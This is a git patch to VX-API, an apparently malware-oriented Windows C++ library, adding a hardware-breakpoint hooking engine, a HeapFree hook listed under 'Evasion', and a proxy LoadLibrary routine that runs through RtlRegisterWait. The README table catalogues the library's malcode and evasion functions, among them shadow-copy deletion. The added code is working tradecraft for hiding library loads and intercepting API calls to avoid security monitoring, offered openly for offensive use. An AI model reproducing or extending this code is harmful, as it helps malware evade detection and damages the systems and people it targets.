From d4aa7f4acdfaacf120f0eb897f8aa9ec5568f2d8 Mon Sep 17 00:00:00 2001 From: vxunderground <57078196+vxunderground@users.noreply.github.com> Date: Wed, 7 Dec 2022 06:17:07 -0600 Subject: [PATCH] 2.0.439 2.0.439 --- README.md | 12 ++- ...UsageOfHardwareBreakpointHookingEngine.cpp | 25 ++++++ VX-API/ExceptHandlerCallbackRoutine.cpp | 46 +++++++++++ VX-API/FunctionDeclaration.h | 3 +- VX-API/HashStringSipHash.cpp | 4 +- VX-API/HookEngineUnhookHeapFreecpp.cpp | 36 +++++++++ VX-API/InitHardwareBreakpointEngine.cpp | 17 ++++ VX-API/InsertDescriptorEntry.cpp | 30 +++++++ VX-API/Internal.h | 1 + VX-API/Main.cpp | 2 +- VX-API/ProxyRegisterWaitLoadLibrary.cpp | 79 +++++++++++++++++++ VX-API/ProxyWorkItemLoadLibrary.cpp | 6 +- VX-API/RemoveDescriptorEntry.cpp | 44 +++++++++++ VX-API/SetHardwareBreakpoint.cpp | 47 +++++++++++ VX-API/ShutdownHardwareBreakpointEngine.cpp | 30 +++++++ ...HardwareBreakpointHookIntoTargetThread.cpp | 40 ++++++++++ VX-API/VX-API.vcxproj | 11 +++ VX-API/VX-API.vcxproj.filters | 36 +++++++++ VX-API/Win32Helper.h | 51 +++++++++++- 19 files changed, 509 insertions(+), 11 deletions(-) create mode 100644 VX-API/ExampleOfUsageOfHardwareBreakpointHookingEngine.cpp create mode 100644 VX-API/ExceptHandlerCallbackRoutine.cpp create mode 100644 VX-API/HookEngineUnhookHeapFreecpp.cpp create mode 100644 VX-API/InitHardwareBreakpointEngine.cpp create mode 100644 VX-API/InsertDescriptorEntry.cpp create mode 100644 VX-API/ProxyRegisterWaitLoadLibrary.cpp create mode 100644 VX-API/RemoveDescriptorEntry.cpp create mode 100644 VX-API/SetHardwareBreakpoint.cpp create mode 100644 VX-API/ShutdownHardwareBreakpointEngine.cpp create mode 100644 VX-API/SnapshotInsertHardwareBreakpointHookIntoTargetThread.cpp diff --git a/README.md b/README.md index 645658e..752e3c2 100644 --- a/README.md +++ b/README.md @@ -3,7 +3,7 @@ managed by [vx-underground](https://vx-underground.org) | follow us on [Twitter] # VX-API -Version: 2.0.420 +Version: 2.0.439 Developer: smelly__vx @@ -78,6 +78,8 @@ You're free to use this in any manner you please. You do not need to use this en | DelayedExecutionExecuteOnDisplayOff | am0nsec and smelly__vx | Evasion | | MasqueradePebAsExplorer | smelly__vx | Evasion | | RemoveDllFromPeb | rad9800 | Evasion | +| HookEngineRestoreHeapFree | rad9800 | Evasion | +| HookEngineUnhookHeapFree | rad9800 | Evasion | | GetCurrentLocaleFromTeb | 3xp0rt | Fingerprinting | | GetNumberOfLinkedDlls | smelly__vx | Fingerprinting | | GetOsBuildNumberFromPeb | smelly__vx | Fingerprinting | @@ -137,6 +139,7 @@ You're free to use this in any manner you please. You do not need to use this en | GetTeb | ReactOS | Library Loading | | RtlLoadPeHeaders | smelly__vx | Library Loading | | ProxyWorkItemLoadLibrary | Rad98, Peter Winter-Smith | Library Loading | +| ProxyRegisterWaitLoadLibrary | Rad98, Peter Winter-Smith | Library Loading | | MpfComModifyShortcutTarget | Unknown | Malcode | | MpfComVssDeleteShadowVolumeBackups | am0nsec | Malcode | | OleGetClipboardData | Microsoft | Malcode | @@ -157,6 +160,13 @@ You're free to use this in any manner you please. You do not need to use this en | DnsGetDomainNameIPv4AddressUnsignedLong | smelly__vx | Networking | | GetDomainNameFromUnsignedLongIPV4Address | smelly__vx | Networking | | GetDomainNameFromIPV4AddressAsString | smelly__vx | Networking | +| InitHardwareBreakpointEngine | rad9800 | Rad Hardware Breakpoint Hooking Engine | +| ShutdownHardwareBreakpointEngine | rad9800 | Rad Hardware Breakpoint Hooking Engine | +| ExceptionHandlerCallbackRoutine | rad9800 | Rad Hardware Breakpoint Hooking Engine | +| SetHardwareBreakpoint | rad9800 | Rad Hardware Breakpoint Hooking Engine | +| InsertDescriptorEntry | rad9800 | Rad Hardware Breakpoint Hooking Engine | +| RemoveDescriptorEntry | rad9800 | Rad Hardware Breakpoint Hooking Engine | +| SnapshotInsertHardwareBreakpointHookIntoTargetThread | rad9800 | Rad Hardware Breakpoint Hooking Engine | # Todo list diff --git a/VX-API/ExampleOfUsageOfHardwareBreakpointHookingEngine.cpp b/VX-API/ExampleOfUsageOfHardwareBreakpointHookingEngine.cpp new file mode 100644 index 0000000..82b7d83 --- /dev/null +++ b/VX-API/ExampleOfUsageOfHardwareBreakpointHookingEngine.cpp @@ -0,0 +1,25 @@ +#include "Win32Helper.h" + +VOID SleepInterceptionRoutine(PEXCEPTION_POINTERS ExceptionInfo) +{ + MessageBoxA(NULL, "OK", "OK", MB_OK); + + ExceptionInfo->ContextRecord->EFlags |= (1 << 16); //restore eflags + ExceptionInfo->ContextRecord->Rcx = 0; +} + +INT __demonstration_WinMain(VOID) +{ + if (!InitHardwareBreakpointEngine()) + return 1; + + InsertDescriptorEntry((PUINT_VAR_T)&Sleep, 0, SleepInterceptionRoutine, 0, TRUE); + + Sleep(100000); + + RemoveDescriptorEntry((PUINT_VAR_T)&Sleep, 0); + + ShutdownHardwareBreakpointEngine(); + + return TRUE; +} \ No newline at end of file diff --git a/VX-API/ExceptHandlerCallbackRoutine.cpp b/VX-API/ExceptHandlerCallbackRoutine.cpp new file mode 100644 index 0000000..11c7412 --- /dev/null +++ b/VX-API/ExceptHandlerCallbackRoutine.cpp @@ -0,0 +1,46 @@ +#include "Win32Helper.h" + +LONG ExceptionHandlerCallbackRoutine(_In_ PEXCEPTION_POINTERS ExceptionInfo) +{ + DESCRIPTOR_ENTRY *TempObject = { 0 }; + BOOL bResolved = FALSE; + + if (ExceptionInfo->ExceptionRecord->ExceptionCode != STATUS_SINGLE_STEP) + goto EXIT_ROUTINE; + + EnterCriticalSection(&CriticalSection); + + TempObject = Head; + + while (TempObject != NULL) + { + if (TempObject->Address == ExceptionInfo->ContextRecord->Rip) + { + if (TempObject->Tid != 0 && TempObject->Tid != GetCurrentThreadId()) //need to fix + continue; + + if (TempObject->Dis) + { + if (!SetHardwareBreakpoint(GetCurrentThreadId(), TempObject->Address, TempObject->Position, FALSE)) + goto EXIT_ROUTINE; + } + + TempObject->CallbackRoutine(ExceptionInfo); + + if (TempObject->Dis) + { + if (!SetHardwareBreakpoint(GetCurrentThreadId(), TempObject->Address, TempObject->Position, TRUE)) + goto EXIT_ROUTINE; + } + } + TempObject = TempObject->Next; + } + + LeaveCriticalSection(&CriticalSection); + + bResolved = TRUE; + +EXIT_ROUTINE: + + return (bResolved ? EXCEPTION_CONTINUE_EXECUTION : EXCEPTION_CONTINUE_SEARCH); +} \ No newline at end of file diff --git a/VX-API/FunctionDeclaration.h b/VX-API/FunctionDeclaration.h index 1584aa2..1b65f5f 100644 --- a/VX-API/FunctionDeclaration.h +++ b/VX-API/FunctionDeclaration.h @@ -29,6 +29,8 @@ typedef PSTR(NTAPI* RTLIPV4ADDRESSTOSTRINGA)(PIN_ADDR, PSTR); typedef INT(NTAPI* RTLUSERFIBERSTART)(VOID); typedef NTSTATUS(NTAPI* NTWAITFORSINGLEOBJECT)(HANDLE, BOOL, PLARGE_INTEGER); typedef NTSTATUS(NTAPI* RTLQUEUEWORKITEM)(PRTL_WORK_ITEM_ROUTINE, PVOID, ULONG); +typedef NTSTATUS(NTAPI* RTLREGISTERWAIT)(PHANDLE, HANDLE, WORKERCALLBACKFUNC, PVOID, ULONG, ULONG); +typedef NTSTATUS(NTAPI* RTLDEREGISTERWAITEX)(HANDLE, HANDLE); @@ -58,5 +60,4 @@ typedef HRESULT(WINAPI* DSCOPYFROMSHAREDFILE)(LPCWSTR, LPCWSTR); /******************************************* SHELL32 IMPORT *******************************************/ - typedef HRESULT(WINAPI* DLLGETCLASSOBJECT)(REFCLSID, REFIID, LPVOID*); \ No newline at end of file diff --git a/VX-API/HashStringSipHash.cpp b/VX-API/HashStringSipHash.cpp index 1096ab3..d3220e8 100644 --- a/VX-API/HashStringSipHash.cpp +++ b/VX-API/HashStringSipHash.cpp @@ -89,7 +89,7 @@ INT32 HashStringSipHashW(_In_ PWCHAR String) SIPROUND; hash = v0 ^ v1 ^ v2 ^ v3; - return hash; + return (INT32)hash; } @@ -160,5 +160,5 @@ INT32 HashStringSipHashA(_In_ PCHAR String) SIPROUND; hash = v0 ^ v1 ^ v2 ^ v3; - return hash; + return (INT32)hash; } diff --git a/VX-API/HookEngineUnhookHeapFreecpp.cpp b/VX-API/HookEngineUnhookHeapFreecpp.cpp new file mode 100644 index 0000000..961f644 --- /dev/null +++ b/VX-API/HookEngineUnhookHeapFreecpp.cpp @@ -0,0 +1,36 @@ +#include "Win32Helper.h" + +VOID HeapFreeInterceptionRoutine(PEXCEPTION_POINTERS ExceptionInfo) +{ + CONST DWORD dwSize = HeapSize((HANDLE)ExceptionInfo->ContextRecord->Rcx, (DWORD)ExceptionInfo->ContextRecord->Rdx, (LPCVOID)ExceptionInfo->ContextRecord->R8); + + if (dwSize) + ZeroMemoryEx((PVOID)ExceptionInfo->ContextRecord->R8, dwSize); + + ExceptionInfo->ContextRecord->EFlags |= (1 << 16); +} + +BOOL HookEngineUnhookHeapFree(_In_ BOOL StartEngine) +{ + if (StartEngine) + { + if (!GlobalHardwareBreakpointObject.IsInit) + InitHardwareBreakpointEngine(); + } + + return InsertDescriptorEntry((PUINT_VAR_T)&HeapFree, 0, HeapFreeInterceptionRoutine, 0, FALSE); +} + +BOOL HookEngineRestoreHeapFree(_In_ BOOL ShutdownEngine) +{ + if (!GlobalHardwareBreakpointObject.IsInit) + return FALSE; + + RemoveDescriptorEntry((PUINT_VAR_T)&HeapFree, 0); + + if (ShutdownEngine) + return ShutdownHardwareBreakpointEngine(); + + return TRUE; +} + diff --git a/VX-API/InitHardwareBreakpointEngine.cpp b/VX-API/InitHardwareBreakpointEngine.cpp new file mode 100644 index 0000000..1c77fff --- /dev/null +++ b/VX-API/InitHardwareBreakpointEngine.cpp @@ -0,0 +1,17 @@ +#include "Win32Helper.h" + +BOOL InitHardwareBreakpointEngine(VOID) +{ + if (GlobalHardwareBreakpointObject.IsInit) + return TRUE; + + GlobalHardwareBreakpointObject.HandlerObject = AddVectoredExceptionHandler(1, ExceptionHandlerCallbackRoutine); + if (!GlobalHardwareBreakpointObject.HandlerObject) + return FALSE; + + InitializeCriticalSection(&CriticalSection); + + GlobalHardwareBreakpointObject.IsInit = TRUE; + + return TRUE; +} \ No newline at end of file diff --git a/VX-API/InsertDescriptorEntry.cpp b/VX-API/InsertDescriptorEntry.cpp new file mode 100644 index 0000000..85c01dd --- /dev/null +++ b/VX-API/InsertDescriptorEntry.cpp @@ -0,0 +1,30 @@ +#include "Win32Helper.h" + +BOOL InsertDescriptorEntry(_In_ PUINT_VAR_T Address, _In_ DWORD Position, _In_ EXCEPTION_CALLBACK CallbackRoutine, _In_ DWORD Tid, _In_ BOOL Dis) +{ + DESCRIPTOR_ENTRY *NewEntry = NULL; + DWORD Index = ERROR_SUCCESS; + + NewEntry = (DESCRIPTOR_ENTRY*)HeapAlloc(GetProcessHeapFromTeb(), HEAP_ZERO_MEMORY, sizeof(DESCRIPTOR_ENTRY)); + if (NewEntry == NULL) + return FALSE; + + EnterCriticalSection(&CriticalSection); + + NewEntry->Address = Address; + NewEntry->Position = Index; + NewEntry->Tid = Tid; + NewEntry->CallbackRoutine = CallbackRoutine; + NewEntry->Dis = Dis; + NewEntry->Next = Head; + NewEntry->Previous = NULL; + + if (Head != NULL) + Head->Previous = NewEntry; + + Head = NewEntry; + + LeaveCriticalSection(&CriticalSection); + + return SnapshotInsertHardwareBreakpointHookIntoTargetThread(Address, Index, TRUE, Tid); +} \ No newline at end of file diff --git a/VX-API/Internal.h b/VX-API/Internal.h index 0d59434..60bde12 100644 --- a/VX-API/Internal.h +++ b/VX-API/Internal.h @@ -1125,3 +1125,4 @@ typedef struct _FILE_PROCESS_IDS_USING_FILE_INFORMATION{ typedef VOID(NTAPI* PIO_APC_ROUTINE)(PVOID ApcContext, _In_ PIO_STATUS_BLOCK IoStatusBlock, _In_ ULONG Reserved); typedef DWORD(CALLBACK* PRTL_WORK_ITEM_ROUTINE)(LPVOID); + diff --git a/VX-API/Main.cpp b/VX-API/Main.cpp index f145922..af9556b 100644 --- a/VX-API/Main.cpp +++ b/VX-API/Main.cpp @@ -37,7 +37,7 @@ int main(VOID) //ShellcodeExecutionViaFunctionCallbackMain(&Sei); - HMODULE hMod = ProxyWorkItemLoadLibraryA("DBGHELP.DLL"); + __demonstration_WinMain(); return dwError; diff --git a/VX-API/ProxyRegisterWaitLoadLibrary.cpp b/VX-API/ProxyRegisterWaitLoadLibrary.cpp new file mode 100644 index 0000000..f6efc07 --- /dev/null +++ b/VX-API/ProxyRegisterWaitLoadLibrary.cpp @@ -0,0 +1,79 @@ +#include "Win32Helper.h" + +HMODULE ProxyRegisterWaitLoadLibraryW(_In_ LPCWSTR lpModuleName) +{ + RTLREGISTERWAIT RtlRegisterWait = NULL; + RTLDEREGISTERWAITEX RtlDeregisterWaitEx = NULL; + NTWAITFORSINGLEOBJECT NtWaitForSingleObject = NULL; + HANDLE WaitObject = NULL, EventObject = NULL; + HMODULE hReturn = NULL; + LARGE_INTEGER Timeout = { 0 }; + Timeout.QuadPart = 500; + + NtWaitForSingleObject = (NTWAITFORSINGLEOBJECT)GetProcAddressA((DWORD64)GetModuleHandleEx2W(L"ntdll.dll"), "NtWaitForSingleObject"); + RtlRegisterWait = (RTLREGISTERWAIT)GetProcAddressA((DWORD64)GetModuleHandleEx2W(L"ntdll.dll"), "RtlRegisterWait"); + RtlDeregisterWaitEx = (RTLDEREGISTERWAITEX)GetProcAddressA((DWORD64)GetModuleHandleEx2W(L"ntdll.dll"), "RtlDeregisterWaitEx"); + + if (!RtlRegisterWait || !NtWaitForSingleObject || !RtlDeregisterWaitEx) + goto EXIT_ROUTINE; + + EventObject = CreateEventW(NULL, FALSE, FALSE, NULL); + if (EventObject == NULL) + goto EXIT_ROUTINE; + + if (RtlRegisterWait(&WaitObject, EventObject, (WORKERCALLBACKFUNC)LoadLibraryW, (PVOID)lpModuleName, 0, WT_EXECUTEDEFAULT) != STATUS_SUCCESS) + goto EXIT_ROUTINE; + else + NtWaitForSingleObject(EventObject, FALSE, &Timeout); + + hReturn = GetModuleHandleEx2W(lpModuleName); + +EXIT_ROUTINE: + + if (EventObject) + CloseHandle(EventObject); + + if(WaitObject) + RtlDeregisterWaitEx(WaitObject, NULL); + + return hReturn; +} + +HMODULE ProxyRegisterWaitLoadLibraryA(_In_ LPCSTR lpModuleName) +{ + RTLREGISTERWAIT RtlRegisterWait = NULL; + RTLDEREGISTERWAITEX RtlDeregisterWaitEx = NULL; + NTWAITFORSINGLEOBJECT NtWaitForSingleObject = NULL; + HANDLE WaitObject = NULL, EventObject = NULL; + HMODULE hReturn = NULL; + LARGE_INTEGER Timeout = { 0 }; + Timeout.QuadPart = 500; + + NtWaitForSingleObject = (NTWAITFORSINGLEOBJECT)GetProcAddressA((DWORD64)GetModuleHandleEx2W(L"ntdll.dll"), "NtWaitForSingleObject"); + RtlRegisterWait = (RTLREGISTERWAIT)GetProcAddressA((DWORD64)GetModuleHandleEx2W(L"ntdll.dll"), "RtlRegisterWait"); + RtlDeregisterWaitEx = (RTLDEREGISTERWAITEX)GetProcAddressA((DWORD64)GetModuleHandleEx2W(L"ntdll.dll"), "RtlDeregisterWaitEx"); + + if (!RtlRegisterWait || !NtWaitForSingleObject || !RtlDeregisterWaitEx) + goto EXIT_ROUTINE; + + EventObject = CreateEventW(NULL, FALSE, FALSE, NULL); + if (EventObject == NULL) + goto EXIT_ROUTINE; + + if (RtlRegisterWait(&WaitObject, EventObject, (WORKERCALLBACKFUNC)LoadLibraryA, (PVOID)lpModuleName, 0, WT_EXECUTEDEFAULT) != STATUS_SUCCESS) + goto EXIT_ROUTINE; + else + NtWaitForSingleObject(EventObject, FALSE, &Timeout); + + hReturn = GetModuleHandleEx2A(lpModuleName); + +EXIT_ROUTINE: + + if (EventObject) + CloseHandle(EventObject); + + if (WaitObject) + RtlDeregisterWaitEx(WaitObject, NULL); + + return hReturn; +} \ No newline at end of file diff --git a/VX-API/ProxyWorkItemLoadLibrary.cpp b/VX-API/ProxyWorkItemLoadLibrary.cpp index 4e902ef..318446f 100644 --- a/VX-API/ProxyWorkItemLoadLibrary.cpp +++ b/VX-API/ProxyWorkItemLoadLibrary.cpp @@ -13,8 +13,7 @@ HMODULE ProxyWorkItemLoadLibraryW(_In_ LPCWSTR lpModuleName) if (!NtWaitForSingleObject || !RtlQueueWorkItem) return NULL; - Status = RtlQueueWorkItem((PRTL_WORK_ITEM_ROUTINE)&LoadLibraryW, (PVOID)lpModuleName, WT_EXECUTEDEFAULT); - if (!NT_SUCCESS(Status)) + if(RtlQueueWorkItem((PRTL_WORK_ITEM_ROUTINE)&LoadLibraryW, (PVOID)lpModuleName, WT_EXECUTEDEFAULT) != STATUS_SUCCESS) return NULL; Timeout.QuadPart = -500000; @@ -37,8 +36,7 @@ HMODULE ProxyWorkItemLoadLibraryA(_In_ LPCSTR lpModuleName) if (!NtWaitForSingleObject || !RtlQueueWorkItem) return NULL; - Status = RtlQueueWorkItem((PRTL_WORK_ITEM_ROUTINE)&LoadLibraryA, (PVOID)lpModuleName, WT_EXECUTEDEFAULT); - if (!NT_SUCCESS(Status)) + if(RtlQueueWorkItem((PRTL_WORK_ITEM_ROUTINE)&LoadLibraryA, (PVOID)lpModuleName, WT_EXECUTEDEFAULT) != STATUS_SUCCESS) return NULL; Timeout.QuadPart = -500000; diff --git a/VX-API/RemoveDescriptorEntry.cpp b/VX-API/RemoveDescriptorEntry.cpp new file mode 100644 index 0000000..026b362 --- /dev/null +++ b/VX-API/RemoveDescriptorEntry.cpp @@ -0,0 +1,44 @@ +#include "Win32Helper.h" + +BOOL RemoveDescriptorEntry(_In_ PUINT_VAR_T Address, _In_ DWORD Tid) +{ + DESCRIPTOR_ENTRY *TempObject = NULL; + DWORD Position = ERROR_SUCCESS; + BOOL bFlag = FALSE, Found = FALSE; + + EnterCriticalSection(&CriticalSection); + + TempObject = Head; + + while (TempObject != NULL) + { + if (TempObject->Address == Address && TempObject->Tid == Tid) + { + Found = TRUE; + + Position = TempObject->Position; + + if (Head == TempObject) + Head = TempObject->Next; + + if (TempObject->Next != NULL) + TempObject->Next->Previous = TempObject->Previous; + + if (TempObject->Previous != NULL) + TempObject->Previous->Next = TempObject->Next; + + if(TempObject) + HeapFree(GetProcessHeapFromTeb(), HEAP_ZERO_MEMORY, TempObject); + } + + if(TempObject) + TempObject = TempObject->Next; + } + + LeaveCriticalSection(&CriticalSection); + + if (Found) + bFlag = SnapshotInsertHardwareBreakpointHookIntoTargetThread(Address, Position, FALSE, Tid); + + return bFlag; +} \ No newline at end of file diff --git a/VX-API/SetHardwareBreakpoint.cpp b/VX-API/SetHardwareBreakpoint.cpp new file mode 100644 index 0000000..ecbfba8 --- /dev/null +++ b/VX-API/SetHardwareBreakpoint.cpp @@ -0,0 +1,47 @@ +#include "Win32Helper.h" + +BOOL SetHardwareBreakpoint(_In_ DWORD ThreadId, _In_ PUINT_VAR_T Address, _In_ UINT Position, _In_ BOOL Init) +{ + CONTEXT Context = { 0 }; Context.ContextFlags = CONTEXT_DEBUG_REGISTERS; + HANDLE hHandle = INVALID_HANDLE_VALUE; + BOOL bFlag = FALSE; + + if (ThreadId != GetCurrentThreadId()) + { + hHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, ThreadId); + if (hHandle == NULL) + goto EXIT_ROUTINE; + } + else + hHandle = InlineGetCurrentThread; + + if (!GetThreadContext(hHandle, &Context)) + goto EXIT_ROUTINE; + + if (Init) + { + (&Context.Dr0)[Position] = Address; + Context.Dr7 &= ~(3ull << (16 + 4 * Position)); + Context.Dr7 &= ~(3ull << (18 + 4 * Position)); + Context.Dr7 |= 1ull << (2 * Position); + } + else { + if ((&Context.Dr0)[Position] == Address) + { + Context.Dr7 &= ~(1ull << (2 * Position)); + (&Context.Dr0)[Position] = 0ull; + } + } + + if (!SetThreadContext(hHandle, &Context)) + goto EXIT_ROUTINE; + + bFlag = TRUE; + +EXIT_ROUTINE: + + if (hHandle) + CloseHandle(hHandle); + + return bFlag; +} \ No newline at end of file diff --git a/VX-API/ShutdownHardwareBreakpointEngine.cpp b/VX-API/ShutdownHardwareBreakpointEngine.cpp new file mode 100644 index 0000000..9eb3e08 --- /dev/null +++ b/VX-API/ShutdownHardwareBreakpointEngine.cpp @@ -0,0 +1,30 @@ +#include "Win32Helper.h" + +BOOL ShutdownHardwareBreakpointEngine(VOID) +{ + DESCRIPTOR_ENTRY *TempObject = NULL; + + if (!GlobalHardwareBreakpointObject.IsInit) + return TRUE; + + EnterCriticalSection(&CriticalSection); + + TempObject = Head; + + while (TempObject != NULL) + { + RemoveDescriptorEntry(TempObject->Address, TempObject->Tid); + TempObject = TempObject->Next; + } + + LeaveCriticalSection(&CriticalSection); + + if (GlobalHardwareBreakpointObject.HandlerObject) + RemoveVectoredExceptionHandler(GlobalHardwareBreakpointObject.HandlerObject); + + DeleteCriticalSection(&CriticalSection); + + GlobalHardwareBreakpointObject.IsInit = FALSE; + + return TRUE; +} \ No newline at end of file diff --git a/VX-API/SnapshotInsertHardwareBreakpointHookIntoTargetThread.cpp b/VX-API/SnapshotInsertHardwareBreakpointHookIntoTargetThread.cpp new file mode 100644 index 0000000..9da5a42 --- /dev/null +++ b/VX-API/SnapshotInsertHardwareBreakpointHookIntoTargetThread.cpp @@ -0,0 +1,40 @@ +#include "Win32Helper.h" + +BOOL SnapshotInsertHardwareBreakpointHookIntoTargetThread(_In_ PUINT_VAR_T Address, _In_ DWORD Position, _In_ BOOL Init, _In_ DWORD Tid) +{ + HANDLE hHandle = INVALID_HANDLE_VALUE; + BOOL bFlag = FALSE; + THREADENTRY32 Entry = { 0 }; + Entry.dwSize = sizeof(THREADENTRY32); + + hHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); + if (hHandle == INVALID_HANDLE_VALUE) + Sleep(1); + + if (!Thread32Next(hHandle, &Entry)) + goto EXIT_ROUTINE; + + do { + if ((Entry.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(Entry.th32OwnerProcessID)) && Entry.th32OwnerProcessID == GetCurrentProcessIdFromTeb()) + { + if (Tid != 0 && Tid != Entry.th32ThreadID) + continue; + + if (!SetHardwareBreakpoint(Entry.th32ThreadID, Address, Position, Init)) + goto EXIT_ROUTINE; + } + + Entry.dwSize = sizeof(Entry); + + } while (Thread32Next(hHandle, &Entry)); + + + bFlag = TRUE; + +EXIT_ROUTINE: + + if (hHandle) + CloseHandle(hHandle); + + return bFlag; +} \ No newline at end of file diff --git a/VX-API/VX-API.vcxproj b/VX-API/VX-API.vcxproj index 94daf93..7165a00 100644 --- a/VX-API/VX-API.vcxproj +++ b/VX-API/VX-API.vcxproj @@ -104,6 +104,7 @@ true _DEBUG;_CONSOLE;%(PreprocessorDefinitions) true + stdcpp17 Console @@ -156,6 +157,8 @@ + + @@ -214,6 +217,9 @@ + + + @@ -233,7 +239,12 @@ + + + + + diff --git a/VX-API/VX-API.vcxproj.filters b/VX-API/VX-API.vcxproj.filters index 50daef9..2677810 100644 --- a/VX-API/VX-API.vcxproj.filters +++ b/VX-API/VX-API.vcxproj.filters @@ -61,6 +61,12 @@ {b688b3fc-f662-4634-b690-f200a79aee37} + + {148b86cd-abe4-43c3-a827-d89b58910722} + + + {5d653d78-df9a-400d-a3bd-3961bf4e09e4} + @@ -477,6 +483,36 @@ Source Files\Windows API Helper Functions\Library Loading + + Source Files\Windows API Helper Functions\Library Loading + + + Source Files\Rad Hardware Breakpoint Hooking Engine + + + Source Files\Rad Hardware Breakpoint Hooking Engine + + + Source Files\Rad Hardware Breakpoint Hooking Engine + + + Source Files\Rad Hardware Breakpoint Hooking Engine\Demonstration + + + Source Files\Rad Hardware Breakpoint Hooking Engine + + + Source Files\Rad Hardware Breakpoint Hooking Engine + + + Source Files\Rad Hardware Breakpoint Hooking Engine + + + Source Files\Rad Hardware Breakpoint Hooking Engine + + + Source Files\Windows API Helper Functions\Evasion + diff --git a/VX-API/Win32Helper.h b/VX-API/Win32Helper.h index 87ab918..6840adb 100644 --- a/VX-API/Win32Helper.h +++ b/VX-API/Win32Helper.h @@ -14,7 +14,7 @@ #include #include #include - +#include #pragma comment(lib, "Dnsapi.lib") @@ -98,6 +98,32 @@ typedef struct __SHELLCODE_EXECUTION_INFORMATION { DWORD MethodEnum; }SHELLCODE_EXECUTION_INFORMATION, * PSHELLCODE_EXECUTION_INFORMATION; +/******************************************* + RAD HARDWARE BREAKPOINT HOOKING ENGINE DATA +*******************************************/ +typedef struct __HARDWARE_ENGINE_INIT_SETTINGS_GLOBAL { + PVOID HandlerObject; + BOOL IsInit; +}HARDWARE_ENGINE_INIT_SETTINGS_GLOBAL, * PHARDWARE_ENGINE_INIT_SETTINGS_GLOBAL; + +typedef uintptr_t PUINT_VAR_T; +typedef void (WINAPI* EXCEPTION_CALLBACK)(PEXCEPTION_POINTERS); + +typedef struct DESCRIPTOR_ENTRY { + struct DESCRIPTOR_ENTRY* Next; + struct DESCRIPTOR_ENTRY* Previous; + PUINT_VAR_T Address; + DWORD Position; + DWORD Tid; + BOOL Dis; + EXCEPTION_CALLBACK CallbackRoutine; +}DESCRIPTOR_ENTRY, *PDESCRIPTOR_ENTRY; + +inline CRITICAL_SECTION CriticalSection = { 0 }; +inline DESCRIPTOR_ENTRY* Head = NULL; +inline HARDWARE_ENGINE_INIT_SETTINGS_GLOBAL GlobalHardwareBreakpointObject; + + /******************************************* ERROR HANDLING @@ -143,6 +169,7 @@ BOOL HashFileByMsiFileHashTableW(_In_ PWCHAR Path, _Inout_ PULONG FileHash); BOOL HashFileByMsiFileHashTableA(_In_ PCHAR Path, _Inout_ PULONG FileHash); + /******************************************* LIBRARY LOADING *******************************************/ @@ -168,6 +195,8 @@ HMODULE GetModuleHandleEx2A(_In_ LPCSTR lpModuleName); HMODULE GetModuleHandleEx2W(_In_ LPCWSTR lpModuleName); HMODULE ProxyWorkItemLoadLibraryW(_In_ LPCWSTR lpModuleName); HMODULE ProxyWorkItemLoadLibraryA(_In_ LPCSTR lpModuleName); +HMODULE ProxyRegisterWaitLoadLibraryW(_In_ LPCWSTR lpModuleName); +HMODULE ProxyRegisterWaitLoadLibraryA(_In_ LPCSTR lpModuleName); @@ -216,6 +245,8 @@ BOOL FastcallExecuteBinaryShellExecuteExW(_In_ PWCHAR FullPathToBinary, _In_ PWC BOOL FastcallExecuteBinaryShellExecuteExA(_In_ PCHAR FullPathToBinary, _In_ PCHAR OptionalParameters); DWORD GetCurrentProcessIdFromOffset(VOID); + + /******************************************* FINGERPRINTING *******************************************/ @@ -267,7 +298,6 @@ BOOL __unstable__preview__MpfSilentInstallGoogleChromePluginW(_In_ PWCHAR Extens BOOL __unstable__preview__MpfSilentInstallGoogleChromePluginA(_In_ PCHAR ExtensionIdentifier); BOOL MpfLolExecuteRemoteBinaryByAppInstallerW(_In_ PWCHAR RemoteUrlTextFile, _In_ DWORD RemoteUrlLengthInBytes); BOOL MpfLolExecuteRemoteBinaryByAppInstallerA(_In_ PCHAR RemoteUrlTextFile, _In_ DWORD RemoteUrlLengthInBytes); -DWORD __revision_required_ProcessInjectFiberData(_In_ PCHAR Shellcode, _In_ DWORD Length); @@ -292,6 +322,8 @@ DWORD CreateProcessViaNtCreateUserProcessW(PWCHAR FullBinaryPath); DWORD CreateProcessViaNtCreateUserProcessA(PCHAR FullBinaryPath); BOOL RemoveDllFromPebA(_In_ LPCSTR lpModuleName); BOOL RemoveDllFromPebW(_In_ LPCWSTR lpModuleName); +BOOL HookEngineUnhookHeapFree(_In_ BOOL StartEngine); +BOOL HookEngineRestoreHeapFree(_In_ BOOL ShutdownEngine); @@ -328,3 +360,18 @@ BOOL GetDomainNameFromUnsignedLongIPV4AddressW(_In_ ULONG IpAddress, _Inout_ PWC BOOL GetDomainNameFromUnsignedLongIPV4AddressA(_In_ ULONG IpAddress, _Inout_ PCHAR DomainName); BOOL GetDomainNameFromIPV4AddressAsStringW(_In_ PWCHAR IpAddress, _Inout_ PWCHAR DomainName); BOOL GetDomainNameFromIPV4AddressAsStringA(_In_ PCHAR IpAddress, _Inout_ PCHAR DomainName); + + + +/******************************************* + RAD HARDWARE BREAKPOINT HOOKING ENGINE FUNCTIONS +*******************************************/ +BOOL InitHardwareBreakpointEngine(VOID); +BOOL ShutdownHardwareBreakpointEngine(VOID); +LONG ExceptionHandlerCallbackRoutine(_In_ PEXCEPTION_POINTERS ExceptionInfo); +BOOL SetHardwareBreakpoint(_In_ DWORD ThreadId, _In_ PUINT_VAR_T Address, _In_ UINT Position, _In_ BOOL Init); +BOOL InsertDescriptorEntry(_In_ PUINT_VAR_T Address, _In_ DWORD Position, _In_ EXCEPTION_CALLBACK CallbackRoutine, _In_ DWORD Tid, _In_ BOOL Dis); +BOOL RemoveDescriptorEntry(_In_ PUINT_VAR_T Address, _In_ DWORD Tid); +BOOL SnapshotInsertHardwareBreakpointHookIntoTargetThread(_In_ PUINT_VAR_T Address, _In_ DWORD Position, _In_ BOOL Init, _In_ DWORD Tid); + +INT __demonstration_WinMain(VOID); //hook sleep \ No newline at end of file